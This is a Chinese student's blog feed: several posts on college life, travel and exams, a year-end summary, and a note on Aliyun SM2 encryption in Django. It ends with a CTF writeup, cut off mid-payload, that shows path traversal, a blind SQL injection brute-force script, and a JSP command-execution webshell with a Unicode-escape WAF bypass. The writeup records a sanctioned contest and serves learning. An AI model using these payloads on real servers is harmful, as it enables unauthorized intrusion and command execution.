好久不见,各位新春快乐呀!🧨
五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)
那就来一篇终极寒假生活流水账罢(
放寒假之前自然是痛苦的考试周。虽说上个学期只有4门课要考试,但其中不乏大雾、电子工程数理方法这种硬核的课程,再加上转专业之后数理方法变成了计划外的交叉课程就没好好听过,真怕最后挂科了前功尽弃,所以还是开启了紧张刺激的补天模式。
好在最后全部顺利通过了,甚至原本只求及格的数理方法用力过猛拿了90+,早知道就多花点时间复习概统和大雾了呜呜呜。
考完最后一门当晚就和室友出去搓了一顿烤肉庆祝一下😋,顺便欢送其中一位即将出国交换的室友,再见就是九月份啦。
放寒假后在学校又待了一周,去旁边驾校继续学车。科三练了四天就匆匆去考试,运气还很差,抽到了最难开的一条线,没想到竟然一把过了。等有空把科四理论考掉就可以拿证咯,嘿嘿又一个新年目标即将达成。
年前去了一趟当时很火的城市——哈尔滨,也是第一次在大冬天去这么北的地方。作为南方人完全无法想象零下二十几度是什么概念,为防止下飞机被冻成冰棍,在机场我就已经全副武装,有点小热。后来发现落地后直接靠廊桥了,机场还专门设置了非常多的更衣室,可以到达之后再换衣服。
执飞的是一架机龄16年的A330-300,这么老的飞机竟然还安装了空中 WiFi。从上海飞哈尔滨大概需要3小时,明明是中午的航班却没有正餐,只发了个小面包。进入东北上空后,从空中看地面都是白茫茫的一片,非常壮观🤩。
落地后一出机场眼镜就全是雾完全看不见,因为穿得足够厚感觉没有想象中那么冷,就是鼻子有种要结冰的感觉。在车上看到了路边的冰雕,晶莹剔透的非常漂亮。
人行道上铺满了积雪,踩在上面嘎吱嘎吱的非常有趣,不过要小心混入其中的冰,一不留神踩上去就会滑倒摔得很惨。到酒店已经快下午两点了,去附近的 KFC 解决一顿午饭,东北室内的暖气还是非常给力的,暖气配冰可乐欸嘿嘿。
这次来哈尔滨是去 HIT 参加活动,上课+参观+比赛,安排得非常充实。话不多说直接上图吧。
(哈尔滨的地铁站,造型非常有特色)
(必不可少的环节hhh)
(HIT 校园,路两旁都是白雪,想捏个雪球结果发现太松散了团不起来)
(索菲亚大教堂,周围的铁栏杆据说是甜的别舔)
(中央大街,快过年了各种彩灯装饰得非常漂亮)
(最不怕雪糕融化的一集🤤,从第一口到最后一口都是梆梆硬)
(各种冰雕雪雕🧊⛄)
总之感谢 HIT 的热情招待,这几天吃好住好玩好学好,非常充实愉快的一次经历。
(对了,HIT 什么时候修一修你的 Eduroam 啊,连上了没有 DHCP 分配 IP 地址也太草了😂)
从哈尔滨回来以后在家宅了两周就过年了,假期也接近尾声。今年春节总算是彻底摆脱了疫情的影响,在上海过完除夕后和爸妈回了一趟福建。春节期间老家的天气特别好,天天都是阳光明媚,气温二十几度,很暖和。
回到老家就是见各种亲戚,又到了聊天完全听不懂方言需要我妈翻译的时候了。然后就是吃吃吃🐖,老家好多美食在上海根本吃不到哇🤤。除此之外还去了这边的几个景点逛了逛,主要是一些寺庙、新农村还有历史文化街区啥的,现在都发展得挺不错的,下面是一些有意思的发现。
(寺庙也要i18n,不过哪里出现了什么问题🤣)
(某个卖捏面人的小摊,嗯)
(路上看到一家碰瓷 Fornet 的洗衣店🤣)
值得一提的是,老家这十八线小城市的公交车竟然也已经支持了交通联合,直接刷手机里的「上海交通卡·交通联合版」就可以扣款乘车了,虽然读卡器上显示的余额完全不对(好多城市也有类似的现象),不过无伤大雅。结合之前几次在别的地方的使用体验来看,交通联合可以说是推进得相当不错,给交通运输部点赞👍。
在老家待到初七就匆匆回上海了,爸妈要上班,我也要准备开学了。
2月17日回到学校开始坐牢。这天室友还没回来,我一个人在寝室住着,结果凌晨三点被宿舍火警强行开机。半梦半醒间隐隐约约听到一个机械女声“现在报告本大厦内有火灾发生,……”,重复了几次后我猛地惊醒,然后体会到了什么叫做大脑宕机,脑子一片空白甚至没反应过来自己在哪。过了好一会儿我才意识到自己在学校宿舍,是火警在响,于是赶紧匆匆下床跑到楼下。好在最后排查下来虚惊一场,就是毁了我早八生活开始前的最后一个好觉😾。
这学期又是每周4天早八,一共14门课程28.5学分,有9门课要考试,而且有几门比较抽象硬核的课(近世代数、信号与系统、量子力学等),已经能够想象到期末周的绝望了,又要重温大一下学期的地狱模式力😇。
总之第一周5天下来感觉身心俱疲😮💨,希望能顺顺利利熬过这学期吧,加油!
]]>草草草怎么一年就过去了,又到了痛苦的期末周一年一度的年终总结时刻,于是我在紧张刺激的期末跨年预习复习活动中匆匆写完了这篇文章,快来回顾一下这一事无成的一年罢()
今年应该说是真正意义上疫情结束后的第一年,各类管控措施总算是消失了,生活也终于回归了正轨,一切都在慢慢变好。
在 SJTU 不知不觉就混到了大二,经过了一些金课的洗礼😇,还活着就已经很棒了。进入大学一年算是找到了适合自己的学习方法,给自己定的唯一要求就是别挂科,毕竟大学不只有学习啊,拼命刷题卷学积分啥的没意义。
今年的意外收获是顺利从信工叛逃,即将转入更感兴趣的信安专业(只要这学期没有挂科),也算是实现了高考未能达成的目标。
今年的技能树全点在了信安上。事情还要从3月的 CTF 校赛说起,大概是我打过的最值的一次比赛了,除了拿奖之外,还认识了不少大佬和新朋友,也发现了自己对安全方向的兴趣,正式入坑 CTF。进校队以后打过几次 CTF 线上赛,参加过一些 HW 和代码审计,学到了很多有意思的东西,积累了一点实战经验,收获满满。
今年的 GitHub 小绿墙干干净净,之前维护过的一些开源项目也都弃坑了,是在开源社区彻底开摆的一年,希望明年能更绿一点(
年度编程语言大概是 Python(虽然也没严谨统计过),毕竟打 CTF/日站写 PoC 都用的是它,甚至写 Web 项目也是,学习了 Django 框架发现还挺好用的,特别适合快速起步。
不知不觉博客已经6周年啦,来看看今年的统计数据吧!在去年7月抛弃了臃肿的 Google Analytics 投入 Umami 的怀抱,所以今年的数据是完整的哦。
今年 Hans362 's Blog 收获2.28k 位独立访客4.77k 次访问,平均访问时间1m2s。
访客们都喜欢用什么浏览器/OS/设备呢?
排名第一的是 Chrome + Windows 10/11 + 笔记本,和我一样耶(该不会都是我贡献的吧hhhh)。
访客们都来自哪些国家/地区用哪里的魔法节点呢?
今年发布了4篇文章,数量较往年骤减,博客都长草了,明年一定要多写点!要是还有你没读过的,不妨去看看。
今年点击量排名前5的文章又是哪几篇呢?
看来还是技术向的文章比较吸引人啊。
今年博客新增6条有效评论,感谢每一位前来互动的朋友🥰。
上半年玩得最多的还是原神,暑假的时候社团的全新原版生存服 SJMC SMP 2开了,于是作为老年人浅浅地复健了一下,重温了当年玩 Minecraft 的快乐。
下半年随着各种事情忙起来,Minecraft 被我丢在一边,原神也好几个月没碰算是半退游了(肝不动力,连主线都懒得推),感觉有点电子阳痿了(bushi),即使有点时间也不是很想花在游戏上。
来看看今年的听歌报告吧!
欸嘿,终于不是 OST 播放器了,今年的年度歌手是 ChiliChill,最开始是听原神二创作品认识的,后来发现他们自己的一些作品也很好听,就一发不可收拾了。
时间过得真快呀,明年就要告别19岁,进入20岁的大门了,希望2024年:
最后感谢读到这的你,祝你新年快乐🥳,2024年一切顺利!
]]>最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的金融级实人认证产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。
开通金融级实人认证后,我开始照着阿里云提供的开发参考文档尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。
\x04
,否则须手动补充因为项目是基于 Django 框架开发的,所以我参考了文档中 Python SDK 的部分。按文档所说,我首先通过 pip install aliyun-python-sdk-saf
安装了云产品SAF SDK,接着在项目中引入 SDK 包时却出现了问题。
怀疑八成是文档没及时更新,看了眼包安装目录下的文件结构,果然最新版本都已经 v20190521
了,改一下版本号就解决了问题。
同时最好在 requirements.txt
中锁版本,以免以后哪次 pip install
时更新了 SDK 导致又出现问题。
由于项目的合规要求,数据库不能留存用户的身份证号明文或可解密的密文,而阿里云的金融级实人认证接口刚好支持非对称加密传参,因此可以将用户输入的身份证号使用阿里云提供的公钥进行非对称加密,然后存储在数据库中(由于私钥由阿里云保管,即使数据库发生数据泄露也无法解开),发起认证请求时直接将密文传递给阿里云。
然而文档中关于加密方式的约定含糊其辞,只提到了加密方式为国密 SM2,给出了一个公钥,并提供了一段 Java 语言下的调包例程。
好在 Python 这边也已经有现成的国密加密包了,我天真地以为调用一下包里的加密函数就行了,于是我一开始是这么写的:
import base64from gmssl import sm2sm2_crypt = sm2.CryptSM2(public_key='02cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea6', private_key='', mode=1)idcard_encrypted = base64.b64encode(sm2_crypt.encrypt(idcard.encode('utf-8'))).decode('utf-8')
结果呢,还没到给阿里云传参这一步,光是加密就报错了:
TypeError: object of type 'NoneType' has no len()
翻了翻 Issues 才知道存在公钥压缩这回事。根据现行 GB/T 35276-2017 7.1节的定义,SM2算法公钥内容为 04||X||Y
,其中 X 和 Y 分别标识公钥的 x 分量和 y 分量,其长度各为256位。阿里云提供的公钥既不以 04
开头,长度也不满足规范,显然是经过压缩的,需要先还原完整公钥。可以使用这个小工具进行还原,也可以研究一下压缩的原理然后自己造个轮子,当然我懒所以选择前者。
import base64from gmssl import sm2sm2_crypt = sm2.CryptSM2(public_key='04cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea65fb8709f2915105fdd5c81bae765774ca7a9392ad3b557b1d239741c2899c868', private_key='', mode=1)idcard_encrypted = base64.b64encode(sm2_crypt.encrypt(idcard.encode('utf-8'))).decode('utf-8')
这样就可以正常加密了。正以为万事大吉,当我把加密的密文传给阿里云时,阿里云接口却报错了。令人无语的是,接口返回的信息只有一句 501 系统错误
,除此之外啥也没有。起初我甚至没有怀疑是加密的问题,还以为是别的参数有问题或者阿里云接口挂了(毕竟最近阿里云频繁出事),直到我尝试明文传参成功后才意识到问题出在加密上。显然,阿里云的私钥解不开我传递给它的密文。
于是我又花了大量的时间弄清究竟是哪出了问题。根据现行 GB/T 35276-2017 7.2节的定义,我们不妨将 x 分量和 y 分量合称为 C1,密文称为 C2,杂凑值称为 C3,则加密数据由 C1、C2、C3三部分组成,且三者的排列顺序为 C1C3C2。同时在查阅了一些资料后,我还了解到在最初的国密标准中,加密数据的排列顺序为 C1C2C3,不过我没有找到相关的标准文件。正因为国密 SM2存在 C1C3C2和 C1C2C3两种加密模式,我使用的 Python 国密加密包提供了 mode
选项以便开发者根据需求设定加密模式。然而阿里云根本没告诉我它解密时使用的是哪一种,不过这个问题暂时不重要,因为经过尝试无论哪一种都问题依旧。
迫不得已我只好把目光看向了阿里云提供的 Java 例程,尝试跑了一下,比对了同一个字符串使用 Python 国密加密包和使用 Java 例程的加密结果,终于发现了问题所在。Java 例程产生的密文 Base64 串永远以字符 B
开头,而 Python 加密包产生的密文 Base64 串开头字符却一直在变,这显然不合理。通过观察 Java 例程加密结果的第一个字节,我惊奇地发现竟然永远是 \x04
这个熟悉的家伙。于是我手动给 Python 加密包的加密结果加上了这个字节,然后尝试了一下 C1C3C2和 C1C2C3两种加密模式,确认是 C1C2C3 模式(非现行标准),总算是对接成功了。
import base64from gmssl import sm2sm2_crypt = sm2.CryptSM2(public_key='04cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea65fb8709f2915105fdd5c81bae765774ca7a9392ad3b557b1d239741c2899c868', private_key='', mode=0)idcard_encrypted = base64.b64encode(b'\x04' + sm2_crypt.encrypt(idcard.encode('utf-8'))).decode('utf-8')
这次开发可以说是一波三折,一部分原因是对国密算法不熟悉,互联网上相关的资料(尤其是 Python 下的进行国密加密)也较少,另一部分原因则是阿里云存在如下的问题有待改进:
总之希望这篇文章能够帮助到后来者,也希望阿里云能够改进文档和接口,提升产品的易用性。
]]>让我看看…嗯,很好,不出意外的话大概是出意外了,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。
所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪
7月中旬夏季学期结束,暑假生活正式开始~
原以为暑假会烂在家里当死宅,结果意外地非常充实,两个月旅游+出差+比赛去了不少地方,大概是出门最多的一次。
(以下多图预警)
去年夏天去横沙岛玩了一趟,这次去的是长兴岛,都是夹在上海市区和崇明岛之间的小岛,当然这次是去出差坐牢的。
某天傍晚提前下班去江边走了走,吹着凉爽的江风,看到了非常美的火烧云。
之前一直想去广东玩来着,这次终于去成了🥳!第一站就先选在了潮州和汕头,正好离福建也比较近,玩好顺便回了趟我爸老家,其它地方就等以后再来吧。
坐飞机落地揭阳,然后打了个车去汕头。沿着海边走的景色真不错,晚上的小公园(这是个景点的名字哦)非常热闹繁华。
第一天晚上吃到了牛肉火锅,新鲜的牛肉烫到刚熟的程度,蘸着沙茶酱吃,非常鲜嫩,打开了新世界的大门(过于好吃所以此处没有照片hhh)。第二天早上吃到了心心念念的肠粉,随便找的路边小店都完爆外地的肠粉,皮很薄很弹,料也满满的,太好吃了以至于我连吃了几天。
汕头玩得差不多就去了南澳岛,由于是旅游旺季,进岛的高速堵得一塌糊涂,足足花了快4个小时才上岛。在岛上环岛挑了几个点玩了一圈。
(造型独特的灯塔)
(北回归线广场,在海滩上光脚踩水,是属于夏天的保留节目)
(金银岛)
(后花园村,从山上看海的视角很独特,夕阳也很美)
至于吃的感觉岛上总体不太行,海鲜可以尝尝,但容易被宰。
离开南澳打车前往潮州。主要去了牌坊街,还有非常有特色的广济桥,桥的中间是用几艘船连在一起的,傍晚到点了就会把船移走,第二天再把船移回来,晚上会有炫酷的灯光秀表演。
在潮州吃到了烧鹅、卤鹅,吃了一次早茶,好吃的真是太多了。潮州这边的肠粉会放花生酱,个人不是很习惯,还是更偏爱汕头的做法。
离开广东后去了我爸老家,上一次回去好像还是初中的时候。奶奶家不知道啥时候养了一只猫,超级可爱,rua起来很舒服😻。
福州之前去过一次,这次去主要是去出差的,干完活顺便故地重游浅玩了一下。
(南后街)
(烟台山)
(闽江)
第一次来成都,主要是来打比赛的,行程比较匆忙没来得及玩。
出发当天上海有强对流,幸好买的中午的机票,赶在强对流到来前半小时顺利起飞了。来成都怎么能不吃火锅呢,于是到达成都当晚就鼓起勇气和队友出去吃了顿四川火锅。考虑到第二天还要比赛谨慎地点了鸳鸯锅,然后果不其然被辣锅辣翻了🥵,吃到最后全在吃另一边的番茄锅🤣。
第二天白天在比赛,玩靶场渗透+工控,四个预备队的出来给 0ops 丢脸了。签到题打进去了结果找不到 flag 放在哪,心态爆炸,最后在根目录下用 grep
强行搜出来的,卡了很久。后面靠 Chrome XSS 钓鱼 RCE 想让员工电脑上线 CS 从而打进核心生产网做工控题,结果咋弄都不成功,而自己电脑上的虚拟机却可以上线,最后发现是用作跳板的机器 Windows 防火墙没关,浪费了至少一个小时😡。事实证明永远别相信 Windows Server 2016 设置里的防火墙,关了根本没用,去控制面板里看竟然还是开着的。等好不容易把员工电脑搞上线已经离比赛结束只剩两个小时了,工控题靠队友匆匆忙忙地做了几道,Web 这边也还剩很多没挖。最后拿了个“人才奖”,有奖就是胜利😂。
晚上恰了顿寿喜烧自助,吃肉吃爽了。在商场里逛了逛,买了点特产,出去的时候下起了暴雨还没带伞。
第三天早上睡个懒觉收拾一下就去机场了,因为回程机票买的是 MU9198,需要去天府机场。坐地铁坐了将近一个小时,都快到边上的简阳市了。天府机场真是到哪都只要一小时,到成都也是(笑)。
坐上了 C919 大飞机,看这架的编号是 B-919A 貌似还真是首架?飞行过程中有点颠簸,不过餐食很好吃😋,还有定制的小蛋糕。
手头原先这部 Redmi K20 Pro 是刚上高中时买的,陪伴了我四年多了,依旧是迄今为止外观最对我胃口的一部手机。直屏+弹出式前置摄像头,没有刘海也没有挖孔,简直是堪称完美的全面屏设计,是到了2022年还会有人看到这块屏幕惊讶地问我“你的手机是啥牌子”的程度。很可惜已经很久没看到这样的设计了,所以我一直舍不得换,感觉还能再战三年。
大概从去年开始明显感觉到电池健康度下降得很厉害,续航只能维持半天左右,打算去换电池却发现原装电池已经停产缺货了,于是靠充电宝续命又用了大半年。结果到我出差的前两天,这电池算是彻底暴毙了,充满电的情况下啥都不干十分钟电量就归零了。考虑到急着用,并且骁龙855在2023年的这堆国产毒瘤APP面前确实有点吃不消,卡顿得比较厉害,那就干脆换新手机吧。
起初还想试试别的牌子的手机,但想到自己对米家生态链的重度依赖以及有解锁刷机的需求,最终还是决定延续小米/红米。因为小赚了点钱,索性就咬咬牙买了 Xiaomi 13 Pro,希望可以用得久一点。直接去小米之家¥5399拿下,还送了个礼盒(笔记本+钢笔+蓝牙耳机)和一年的 FRIEND 会员(每个月有免费贴膜,但小米之家店员表示这个膜质量远不如出厂自带的那张,不建议在原厂膜没坏的情况下换)。
颜色无脑选了白色,确实很耐看,后盖也不会变成指纹收集器。外观的话对我而言肯定是没有原来好看了,挖孔屏+曲面,但也还算可以接受。全功能 NFC、红外遥控、无线充电等功能该有的都有,没有耳机孔对于我来说问题不大。比较喜欢的是骁龙8 Gen 2的性能表现,玩某二字游戏无压力,而且发热量不算大。还有就是这徕卡相机拍照真的没话说,不像原来的 K20 Pro 拍出来的照片总感觉被算法调校得鲜艳过头,13 Pro 给我的感受就是很真实,很舒服,本文带水印的照片都是使用13 Pro 拍摄的哦。
要说不好的地方大概就是13 Pro 接近230克的重量,初次上手感觉有点沉,而且主要重量集中在顶部的镜头模组,拿在手里有种头重脚轻的感觉。还有电池容量感觉还是偏小,日常使用是能够注意到电量一点一点在掉的,不过目前还是可以支撑一整天的中强度使用,后续续航衰减的情况有待观察。
嘿嘿这个假期午饭又基本是自己在家瞎糊弄的,回看发现全是各种面/炒饭/焖饭😂。
至于味道嘛,自己烧的肯定好吃啦😋。
啊 / 雨还要下多久呢 / 风扇应该收了 / 夏天怎么结束了
九月中旬回到了学校,开启了全新的学期。时间真是太快了,转眼就成老东西了啊。
以往我校电院的大二上是地狱模式,大量的硬核课程都堆在这学期,好在我们这届有所改观,已经过去的32.5学分的大一下是最痛苦的,大二上只剩下二十几学分的课程,比上学期轻松了一些。
从开学第一天就在盼着放假🤣。按惯例学校每年中秋都会发月饼盲盒,今年的包装用的竟然是铁罐子,还挺好看的,颇有买椟还珠的感觉。
至于味道么,我和家里人的一致评价就是每盒必有的绿色的青柠芝士月饼是最难吃的,皮的口感很怪,中间的流心也酸不溜秋的,别的拿铁口味和蔓越莓口味都还不错。
中秋前一天学校还在电草办了一场中秋晚会,超热闹,去看了会儿表演以及给抽奖当分母了。
放完假回来就看到教务处发布了工科平台内转专业的通知。因为深知我校转专业的难度,尤其是电院CS/SE/IS据说只收专业前几名,最初就对此不抱啥希望,大一一年也完全没卷。回过头来一看成绩虽然平平无奇,但也满足了转专业的前置条件,考虑到我对电子系这边的课程不太感兴趣,这学期的模电学得也非常痛苦,于是就决定抓住这个机会试一试。
由于自己学积分一般,大一一年也只有和IS强相关的经历,并且确实对安全方向比较感兴趣,所以就填了转入信息安全专业的申请表。
等了一周终于收到了入围面试的通知,开始着手准备面试,做了两页PPT把一些比较亮眼的课程成绩还有和信安相关的经历罗列了一下,自己对着PPT讲了两遍。信安的面试总体感觉比较水,先是对着PPT进行自我介绍,然后是提问环节,完全没涉及任何专业性的问题,最离谱的一个问题是“你参加过哪些志愿活动”,差点给我干沉默了。总之面试结束后心里很没底,不知道是面试本来就这么水还是走个形式把我刷掉。
然后就是焦急地等待结果,终于在十月底收到了预录取通知,只要这学期继续修读完原专业课程(除中期退课的一门)并且没有挂科就可以顺利转入信息安全专业🥳。就是下个学期以及大三上要补修很多课程,又要开启地狱模式了。
总的来说感觉转专业好像也没有想象的那么难,也并非一定要有特别突出的学积分。抓住每一个可能的机会,多去尝试一下,说不定就有意外的收获。
好了,这篇周记就到这里咯,下次见~
]]>咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。
所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。
期末周的时候我就阳了,放寒假的时候已经完全好了。不过家里竟然还有人一直没阳,所以寒假就老老实实在上海过年了。年初六的时候跑豫园那边去看了灯会,不过是大白天版,但人还是很多。
然后又去了上海和江苏交界地带的荒郊野岭转了转,这样就算低配版的出省旅游了(笑)。
之前在年终总结里提到要提升一下厨艺,所以寒假的午饭就靠自己烧了,意外地没有炸厨房,大成功🤣(
(忽略那个裂口水饺)
寒假大部分时间都在家摸鱼划水当肥宅,短短二十八天一转眼就过去了,不愧是全国高校倒数第二短的寒假,感觉啥也没干就开学了。
总算在这个春天迎来了防疫结束后的第一个正常的学期,生活正在一点点恢复疫情前的状态,感觉很不错。
进入大一下,课程压力一下子就高了不少。虽说仅仅比上学期的28.5学分多了4学分的课程,但这学期基本都是非常硬核的课,比如高数、大物、电路理论、数电、数据结构等,还有一些学分和工作量完全不匹配的课程,整体比上学期忙多了。
这学期充分感受到了我校工科平台混乱的培养计划和糟糕的课程设计,在此不得不锐评一些课程。
电路实验
金课中的金课🥇。
这课的逆天之处在于和电路理论完全脱节的教学安排以及手写实验报告、手绘图像的离谱要求。电路理论才学到时域分析,实验已经做到交流参数了,做实验的时候对着看不懂的电路图机械地接线,写实验报告的时候我都不知道自己在写什么。
另外这课还有期末考试,占总评一半的分数,随机抽一个实验,闭卷做,要求背下所有的电路图。只好祈祷别抽到强电实验,毕竟弱电实验接线都不复杂,比较好做。
然后我就抽到了三相电路😇。幸好考前一天晚上把强电的几个实验电路都狂背了一遍,没出意外顺顺利利地做完了。考试的时候周围好几个人接错线烧保险丝、烧灯泡,还有人把整个实验室给搞跳闸了,笑死。
大学物理实验
1学分的课花的时间比3学分的课还多。
和电路实验一样地手写巨长的报告,作图以及拟合用 Origin 做。课程内容也是一样地和大物课程进度脱节,不过大部分老师/助教会默认你什么都不知道然后花时间讲一遍,至少能理解在做什么。
唯独有一次实验碰到个老师几乎啥也不讲不演示就让我们开做,遇到问题问他,直接一句“你没有预习吗?”、“我为什么要回答你?”、“你把学号报上来我给你扣两分再告诉你”,态度简直离谱😠。好在大家都不会做,最后他还是忍不住讲了一遍。
工程实践
属于是为毕业进厂提前做准备了,我一个学电子信息的为啥要学车床、铣床、钣金之类的东西啊?好在我们这届压缩了学时,只有半个学期,就当去玩玩了倒也还行。
(线切割做了只 Octocat)
工程实践与科技创新I
前半学期焊调频无线话筒和万用表,后半学期做单片机项目。作为电子系的学生学焊板子倒也无可厚非,毕竟是以后要用到的技能,但是给我整一大堆小得要命的贴片元件,用电烙铁纯手工焊实在有些折磨。
依稀记得那天在电网大楼从晚上六点焊到十一点总算整完了,还好一次成功,不然像有些同学焊完发现芯片是坏的就很惨了。
除此之外,一些课程的安排也很迷惑。电路理论放在大一下我完全学不明白,教材晦涩难懂,完全没考虑初学者的接受能力。数电课时压缩到只有半学期,且由于缺少模电、基电作为先修课程,很多内容都跳过不讲,感觉学得很浅。
这学期巨大的课程量导致了长达一个月的期中周和半个月的期末周,整个学期几乎就是在复习-考试-复习-考试😇。期末周的时候考完一门抢救下一门,女娲补天都没我忙。
一个人乐意探索陌生的PPT,仅仅是因为快要挂科了吗?
(初看不知画中意,再看已是画中人🤡)
好在最后出分的时候发现几门考完以为要挂的课分数高得我都不敢相信,被老师狠狠地海底捞了🥰。
大约是二月底的时候在学校论坛上看到了 CTF 校赛的帖子,从未打过 CTF 的我看到了决定去试试,结果意外地拿了个不错的成绩。赛后除了白嫖了亿些奖金和奖品外,还被邀请加入了 Ph0t1n1a(学校主队 0ops 的预备队)。
考虑到对 Web 比较感兴趣,而且除此之外我也啥都不会,决定主攻 Web 方向。抽空跟着打了两场比赛发现自己弱爆了,除了 D^3CTF 做出一道简单的 MISC 之外,几乎无从下手,还需要多学习学习。
五月份的时候和 Ph0t1n1a 还有 0ops 的 Web 大佬们去参加了教育护网,也是我第一次参加这种真实环境的攻防演练。简而言之就是在经过授权的前提下日其他高校还有教育单位的服务器。原以为自己太菜了应该只能去给大佬们端茶送水,没想到也挖出了一些成果,有几个洞还是通用系统漏洞,得了不少分,爽。
总之这学期入坑了信息安全方向,发现自己对这个挺感兴趣的,至少比起现在所在的专业,以后可能准备往这个方向发展了。
三月份的时候社团招新,百团大战那天去现场逛了逛。没想到竟然连 SJTUG 都有摊位(虽然只有一个印了二维码的 KT 板),作为 SJTUG 维护的开源软件镜像站以及 模板的忠实用户这不得加一下,还见到了坐在摊位上表演上网课的量子姐姐 @lightquantum🥰。
路过 Minecraft 社摊位的时候,想着我上一次玩 Minecraft 大概还是在上一次初中,早就跟不上版本了,然后就没加入。不过后来 HW 的时候认识了社长镐子哥⛏️,于是被拉进了社团准备接手一些服务器运维还有技术开发的工作。暑假打算复健一下 Minecraft,不然我社真要成为米游社了。
对了,欢迎关注上海交通大学 Minecraft 社~
考完最后一门考试的后一天就是我二十岁前的最后一个生日了🥳。因为家里有人二阳了只好在学校过,整了个蛋糕和室友瓜分掉。晚上出去搓了一顿,在室友强推下去看了《蜘蛛侠:纵横宇宙》,有点好看,就是为啥在高潮部分戛然而止然后 To be continued 啊,太吊人胃口了。
室友在学校论坛上发了个帖子《今天是我室友生日,可以祝他生日快乐吗》结果光速收敛到 \xf0\x9f\x90\xbb
,笑死我了🤣。
从六月中旬到七月中旬还有一个月的夏季学期,选了门通识课所以继续在学校坐牢。顺便打算学个驾照,过几天去考科目一,现在在疯狂刷题。
至于放暑假之后嘛,大概就是摸鱼开摆,偶尔参加个 HW 还有打打 CTF 什么的,八月份的时候打算出省玩一次。
OK 那么这篇周记就写到这吧(发现似乎也不是很长),至于下次更新不出意外的话大概还要过两三个月吧(逃
]]>好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(
作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。
网站首页有一堆旗子的图片,尝试乱填一个账号登录发现多了一个 CTF 旗子,提示需要管理员账号才能查看。F12 看了一眼发现这些旗子的图片都是从 /getflag.php?flag=
这个接口获取的。
于是向接口请求一个不存在的文件,出现 PHP 错误信息。
根据错误信息可知,这个接口应该只是简单地返回 images
目录下用户请求的文件,那么我们如果请求一下 ../login.php
呢?
直接爆出源代码,拿到 admin
密码的 MD5 值,解密一下发现是 sjtuctf
,回主页登录,然后拿到 flag。
显然应该是道 SQL 注入题,唯一的注入点应该是 /article?id=
。跑了下 sqlmap,发现存在 Boolean-based SQL Injection,准备开始盲注。
但这道题比较特殊之处在于整了一个什么拟态防御,就是同时运行了 SQLite、MySQL 和 MariaDB 三种数据库,并同时向三个数据库跑查询,然后比对结果是否一致,不一致就会报错。因此注入的时候要兼顾三种数据库的要求。
经过亿些尝试,发现通过 /article?id=1 and (select length(flag) from flag) > 1
可以搞出 flag 的长度,只需要用一下二分法,最终发现 > 37
时能够返回文章内容,而 > 38
时出现 Not Found
,说明 flag 长度正是38。
接着又经过亿些尝试,发现通过 /article?id=1 and (select substr(flag,1,1) from flag) = 'a'
并把 a
依次替换成所有可打印字符,就可以根据返回结果是否为 Not Found
试出 flag
的第一位,然后用相同的原理往后依次试出每一位即可。
于是写了个 Python 脚本自动化这个过程。
import requestsfrom urllib.parse import quoteimport stringurl = "http://127.0.0.1:5000/article?id=1"for i in range(1, 39): for c in string.printable: req = url + \ quote( " and (select substr(flag," + str(i) + ",1) from flag) = '" + c + "'") r = requests.get(req) if "Not Found" not in r.text: print(c, end='') break
最后得到了 flag。
(引号要换成大括号)
尝试直接传个带回显的 WebShell 上去,没想到就成功了。
<% if("passwd".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("p")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre>"); }%>
然后尝试直接 ?pwd=passwd&p=cat /flag
发现权限不够,于是又试了试 ?pwd=passwd&p=/readflag
,成功拿到了 flag。
前一题的加强版,这次就没这么好做了,直接传 WebShell 被 WAF 拦截了。分析了下代码,发现过滤条件很苛刻。
private static Pattern pattern = Pattern.compile("\\.|\\[|\\]|\\\\u[0-9A-Fa-f]|<%@|<jsp:");
然后我花了大量时间去构造一个能够绕过这个 pattern 的 WebShell,结果都以失败告终,因为想要代码里没有.
几乎是不可能的,而这个 WAF 居然把.
都给拦截了。
于是到处寻找利用其它编码形式绕过 WAF 的方法,终于发现原来 JSP 不仅能够直接解析 \u0000
这种 Unicode,事实上如果写成 \uuuu0000
也是可以的,而这个 WAF 只过滤了前者,所以只要把前一题的那个 WebShell 转成 Unicode 并写成 \uuuu0000
的形式即可。
<%\uuuu0069\uuuu0066\uuuu0028\uuuu0022\uuuu0070\uuuu0061\uuuu0073\uuuu0073\uuuu0077\uuuu0064\uuuu0022\uuuu002e\uuuu0065\uuuu0071\uuuu0075\uuuu0061\uuuu006c\uuuu0073\uuuu0028\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0077\uuuu0064\uuuu0022\uuuu0029\uuuu0029\uuuu0029\uuuu007b\uuuu006a\uuuu0061\uuuu0076\uuuu0061\uuuu002e\uuuu0069\uuuu006f\uuuu002e\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0